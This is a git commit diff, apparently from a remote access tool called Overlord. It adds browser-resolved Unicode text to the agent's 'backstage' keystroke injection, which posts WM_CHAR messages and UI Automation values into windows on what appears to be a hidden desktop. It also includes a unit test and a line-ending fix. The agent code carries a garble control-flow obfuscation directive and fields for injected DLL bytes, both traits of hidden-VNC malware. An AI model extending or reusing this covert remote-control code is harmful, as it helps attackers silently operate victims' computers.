add all keyboard langs to backstage + fix test

This commit is contained in:
KingKDot
2026-07-30 14:59:00 -05:00
parent 91e9b3196a
commit 7369aa7014
10 changed files with 132 additions and 21 deletions
+2
View File
@@ -4,6 +4,8 @@
# Force LF line endings for Go source files # Force LF line endings for Go source files
*.go text eol=lf *.go text eol=lf
Overlord-Server/src/generated/wire-contract.ts text eol=lf
# Force CRLF for Windows batch files # Force CRLF for Windows batch files
*.bat text eol=crlf *.bat text eol=crlf
@@ -0,0 +1,33 @@
//go:build windows
package capture
import "testing"
func TestPrintableKeyText(t *testing.T) {
t.Parallel()
tests := []struct {
name string
in string
want string
}{
{name: "latin", in: "é", want: "é"},
{name: "cyrillic", in: "ж", want: "ж"},
{name: "cjk", in: "你", want: "你"},
{name: "supplementary plane", in: "😀", want: "😀"},
{name: "named key", in: "Enter", want: ""},
{name: "control", in: "\n", want: ""},
{name: "empty", in: "", want: ""},
}
for _, tt := range tests {
tt := tt
t.Run(tt.name, func(t *testing.T) {
t.Parallel()
if got := printableKeyText(tt.in); got != tt.want {
t.Fatalf("printableKeyText(%q) = %q, want %q", tt.in, got, tt.want)
}
})
}
}
@@ -47,7 +47,7 @@ func BackstageInputMouseUp(button int) error {
return errors.New("backstage not supported on this platform") return errors.New("backstage not supported on this platform")
} }
func BackstageInputKeyDown(vk uint16) error { func BackstageInputKeyDown(vk uint16, text string) error {
return errors.New("backstage not supported on this platform") return errors.New("backstage not supported on this platform")
} }
@@ -1425,13 +1425,15 @@ func uiaHandleMouseWheel(hwnd uintptr, screenPt point, delta int32) error {
return nil return nil
} }
func uiaHandleKey(hwnd uintptr, vk uint16, down bool) error { func uiaHandleKey(hwnd uintptr, vk uint16, text string, down bool) error {
uiaEnsureWorker() uiaEnsureWorker()
inputSite := findInputSiteChild(hwnd) inputSite := findInputSiteChild(hwnd)
if inputSite != 0 { if inputSite != 0 {
if down { if down {
if ch := virtualKeyToChars(vk); len(ch) > 0 && !isNonPrintableVK(vk) { if text != "" && !isNonPrintableVK(vk) {
postTextMessage(inputSite, text)
} else if ch := virtualKeyToChars(vk); len(ch) > 0 && !isNonPrintableVK(vk) {
for _, r := range ch { for _, r := range ch {
procPostMessageW.Call(inputSite, WM_CHAR, uintptr(r), uintptr(1)) procPostMessageW.Call(inputSite, WM_CHAR, uintptr(r), uintptr(1))
} }
@@ -1445,6 +1447,7 @@ func uiaHandleKey(hwnd uintptr, vk uint16, down bool) error {
if down { if down {
key := vk key := vk
keyText := text
uiaRunAsync(func() { uiaRunAsync(func() {
if uiaSingleton == nil { if uiaSingleton == nil {
return return
@@ -1452,7 +1455,7 @@ func uiaHandleKey(hwnd uintptr, vk uint16, down bool) error {
if !isModifierVK(key) && !isNonPrintableVK(key) { if !isModifierVK(key) && !isNonPrintableVK(key) {
elem := uiaSingleton.GetFocusedElement() elem := uiaSingleton.GetFocusedElement()
if elem != nil { if elem != nil {
uiaTypeChar(elem, key) uiaTypeChar(elem, key, keyText)
elem.Release() elem.Release()
} }
} else if key == 0x08 || key == 0x2E { } else if key == 0x08 || key == 0x2E {
@@ -1543,7 +1546,7 @@ func uiaScrollElement(elem *iuiAutomationElement, delta int32) bool {
return true return true
} }
func uiaTypeChar(elem *iuiAutomationElement, vk uint16) bool { func uiaTypeChar(elem *iuiAutomationElement, vk uint16, text string) bool {
pat := elem.GetCurrentPattern(uiaValuePatternID) pat := elem.GetCurrentPattern(uiaValuePatternID)
if pat == nil { if pat == nil {
return false return false
@@ -1551,13 +1554,16 @@ func uiaTypeChar(elem *iuiAutomationElement, vk uint16) bool {
vp := (*iuiAutomationValuePattern)(unsafe.Pointer(pat)) vp := (*iuiAutomationValuePattern)(unsafe.Pointer(pat))
defer vp.Release() defer vp.Release()
ch := virtualKeyToChars(vk) if text == "" {
if len(ch) == 0 { ch := virtualKeyToChars(vk)
return false if len(ch) == 0 {
return false
}
text = string(ch)
} }
current := vp.GetCurrentValue() current := vp.GetCurrentValue()
newVal := current + string(ch) newVal := current + text
vp.SetValue(newVal) vp.SetValue(newVal)
return true return true
} }
@@ -13,6 +13,7 @@ import (
"sync/atomic" "sync/atomic"
"syscall" "syscall"
"time" "time"
"unicode/utf8"
"unsafe" "unsafe"
) )
@@ -223,6 +224,7 @@ type backstageTask struct {
y int32 y int32
button int button int
vk uint16 vk uint16
text string
delta int32 delta int32
dllBytes []byte dllBytes []byte
captureDllBytes []byte captureDllBytes []byte
@@ -510,9 +512,9 @@ func ensurebackstageThread() error {
case backstageTaskMouseUp: case backstageTaskMouseUp:
result.err = backstageMouseButtonOnThread(task.button, false) result.err = backstageMouseButtonOnThread(task.button, false)
case backstageTaskKeyDown: case backstageTaskKeyDown:
result.err = backstageKeyOnThread(task.vk, true) result.err = backstageKeyOnThread(task.vk, task.text, true)
case backstageTaskKeyUp: case backstageTaskKeyUp:
result.err = backstageKeyOnThread(task.vk, false) result.err = backstageKeyOnThread(task.vk, "", false)
case backstageTaskMouseWheel: case backstageTaskMouseWheel:
result.err = backstageMouseWheelOnThread(task.delta) result.err = backstageMouseWheelOnThread(task.delta)
case backstageTaskAutoStartExplorer: case backstageTaskAutoStartExplorer:
@@ -650,8 +652,8 @@ func BackstageInputMouseUp(button int) error {
return result.err return result.err
} }
func BackstageInputKeyDown(vk uint16) error { func BackstageInputKeyDown(vk uint16, text string) error {
result, err := executebackstageTask(backstageTask{kind: backstageTaskKeyDown, vk: vk}, 3*time.Second) result, err := executebackstageTask(backstageTask{kind: backstageTaskKeyDown, vk: vk, text: printableKeyText(text)}, 3*time.Second)
if err != nil { if err != nil {
return err return err
} }
@@ -1229,7 +1231,7 @@ func backstageMouseButtonOnThread(button int, down bool) error {
return nil return nil
} }
func backstageKeyOnThread(vk uint16, down bool) error { func backstageKeyOnThread(vk uint16, text string, down bool) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2 //garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
pt := currentbackstageCursor() pt := currentbackstageCursor()
hwnd := windowFromPoint(pt) hwnd := windowFromPoint(pt)
@@ -1260,7 +1262,7 @@ func backstageKeyOnThread(vk uint16, down bool) error {
if isModifierVK(vk) { if isModifierVK(vk) {
return nil return nil
} }
return uiaHandleKey(hwnd, vk, down) return uiaHandleKey(hwnd, vk, text, down)
} }
if isModifierVK(vk) { if isModifierVK(vk) {
@@ -1268,7 +1270,9 @@ func backstageKeyOnThread(vk uint16, down bool) error {
} }
if down { if down {
if ch := virtualKeyToChars(vk); len(ch) > 0 && !isNonPrintableVK(vk) { if text != "" && !isNonPrintableVK(vk) {
postTextMessage(hwnd, text)
} else if ch := virtualKeyToChars(vk); len(ch) > 0 && !isNonPrintableVK(vk) {
for _, r := range ch { for _, r := range ch {
procPostMessageW.Call(hwnd, WM_CHAR, uintptr(r), uintptr(1)) procPostMessageW.Call(hwnd, WM_CHAR, uintptr(r), uintptr(1))
} }
@@ -1281,6 +1285,25 @@ func backstageKeyOnThread(vk uint16, down bool) error {
return nil return nil
} }
func printableKeyText(text string) string {
if !utf8.ValidString(text) || utf8.RuneCountInString(text) != 1 {
return ""
}
r, _ := utf8.DecodeRuneInString(text)
if r < 0x20 || r == 0x7f {
return ""
}
return text
}
func postTextMessage(hwnd uintptr, text string) {
for _, unit := range syscall.StringToUTF16(text) {
if unit != 0 {
procPostMessageW.Call(hwnd, WM_CHAR, uintptr(unit), uintptr(1))
}
}
}
func foregroundWindow() uintptr { func foregroundWindow() uintptr {
r, _, _ := procGetForegroundWindow.Call() r, _, _ := procGetForegroundWindow.Call()
return r return r
@@ -80,6 +80,7 @@ type backstageInputEvent struct {
button int button int
delta int32 delta int32
vk uint16 vk uint16
text string
} }
type voiceRuntime struct { type voiceRuntime struct {
@@ -233,7 +234,7 @@ func ensurebackstageInputWorker() {
log.Printf("backstage input worker: mouse_wheel failed: %v", err) log.Printf("backstage input worker: mouse_wheel failed: %v", err)
} }
case BackstageInputKeyDown: case BackstageInputKeyDown:
if err := capture.BackstageInputKeyDown(ev.vk); err != nil { if err := capture.BackstageInputKeyDown(ev.vk, ev.text); err != nil {
log.Printf("backstage input worker: key_down vk=%d failed: %v", ev.vk, err) log.Printf("backstage input worker: key_down vk=%d failed: %v", ev.vk, err)
} }
case BackstageInputKeyUp: case BackstageInputKeyUp:
@@ -1736,10 +1737,14 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
} }
payload, _ := envelope["payload"].(map[string]interface{}) payload, _ := envelope["payload"].(map[string]interface{})
code := "" code := ""
text := ""
if payload != nil { if payload != nil {
if v, ok := payload["code"].(string); ok { if v, ok := payload["code"].(string); ok {
code = v code = v
} }
if v, ok := payload["text"].(string); ok {
text = v
}
} }
if vk := keyCodeToVKbackstage(code); vk != 0 { if vk := keyCodeToVKbackstage(code); vk != 0 {
if env.VirtualCancel != nil { if env.VirtualCancel != nil {
@@ -1750,7 +1755,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
capture.VirtualInputKeyDown(vk) capture.VirtualInputKeyDown(vk)
return nil return nil
} }
enqueuebackstageInput(backstageInputEvent{kind: BackstageInputKeyDown, vk: vk}) enqueuebackstageInput(backstageInputEvent{kind: BackstageInputKeyDown, vk: vk, text: text})
} }
return nil return nil
case "backstage_key_up": case "backstage_key_up":
+10 -1
View File
@@ -1740,7 +1740,16 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
const kbdCapture = createKeyboardCapture({ const kbdCapture = createKeyboardCapture({
container: canvasContainer, container: canvasContainer,
sendKeyDown: (e) => { sendKeyDown: (e) => {
if (desiredStreaming) sendCmd("backstage_key_down", { key: e.key, code: e.code }); if (!desiredStreaming) return;
const altGraph = typeof e.getModifierState === "function" && e.getModifierState("AltGraph");
const printable = typeof e.key === "string"
&& Array.from(e.key).length === 1
&& (!e.ctrlKey && !e.metaKey && !e.altKey || altGraph);
sendCmd("backstage_key_down", {
key: e.key,
code: e.code,
text: printable ? e.key : "",
});
}, },
sendKeyUp: (e) => { sendKeyUp: (e) => {
if (desiredStreaming) sendCmd("backstage_key_up", { key: e.key, code: e.code }); if (desiredStreaming) sendCmd("backstage_key_up", { key: e.key, code: e.code });
@@ -418,6 +418,34 @@ describe("remote desktop viewer control", () => {
}); });
describe("backstage viewer control", () => { describe("backstage viewer control", () => {
test("forwards browser-resolved Unicode text with backstage key presses", () => {
const clientId = `backstage-unicode-${Date.now().toString(36)}`;
const { agentWs } = createClient(clientId);
const viewer = createMockWs({ role: "backstage_viewer", clientId });
handlebackstageViewerOpen(viewer as any);
backstageStreamingState.set(clientId, {
isStreaming: true,
virtualMode: false,
display: 0,
quality: 90,
codec: "",
maxFps: 120,
lastFps: 0,
});
handlebackstageViewerMessage(viewer as any, JSON.stringify({
type: "backstage_key_down",
key: "ж",
code: "KeyS",
text: "ж",
}));
const command = agentCommands(agentWs)
.find((msg) => msg.commandType === "backstage_key_down");
expect(command?.payload).toEqual({ key: "ж", code: "KeyS", text: "ж" });
});
test("forwards backstage_stop even when server stream state is stale", () => { test("forwards backstage_stop even when server stream state is stale", () => {
const clientId = `backstage-stale-stop-${Date.now().toString(36)}`; const clientId = `backstage-stale-stop-${Date.now().toString(36)}`;
const { agentWs } = createClient(clientId); const { agentWs } = createClient(clientId);
@@ -1392,7 +1392,11 @@ export function handlebackstageViewerMessage(ws: ServerWebSocket<SocketData>, ra
if (state.isStreaming) sendbackstageCommand(target, "backstage_mouse_wheel", { delta: Number(payload.delta) || 0, x: Number(payload.x) || 0, y: Number(payload.y) || 0 }); if (state.isStreaming) sendbackstageCommand(target, "backstage_mouse_wheel", { delta: Number(payload.delta) || 0, x: Number(payload.x) || 0, y: Number(payload.y) || 0 });
break; break;
case "backstage_key_down": case "backstage_key_down":
if (state.isStreaming) sendbackstageCommand(target, "backstage_key_down", { key: payload.key || "", code: payload.code || "" }); if (state.isStreaming) sendbackstageCommand(target, "backstage_key_down", {
key: String(payload.key || ""),
code: String(payload.code || ""),
text: String(payload.text || ""),
});
break; break;
case "backstage_key_up": case "backstage_key_up":
if (state.isStreaming) sendbackstageCommand(target, "backstage_key_up", { key: payload.key || "", code: payload.code || "" }); if (state.isStreaming) sendbackstageCommand(target, "backstage_key_up", { key: payload.key || "", code: payload.code || "" });
+2 -1
View File
@@ -274,7 +274,8 @@ func IsServerToAgentMessageType(value string) bool {
async function emit(path: string, content: string): Promise<void> { async function emit(path: string, content: string): Promise<void> {
if (checkOnly) { if (checkOnly) {
const current = await Bun.file(path).text().catch(() => ""); const current = await Bun.file(path).text().catch(() => "");
if (current !== content) { const normalizeLineEndings = (value: string) => value.replace(/\r\n/g, "\n");
if (normalizeLineEndings(current) !== normalizeLineEndings(content)) {
console.error(`Generated artifact is stale: ${path}`); console.error(`Generated artifact is stale: ${path}`);
process.exitCode = 1; process.exitCode = 1;
} }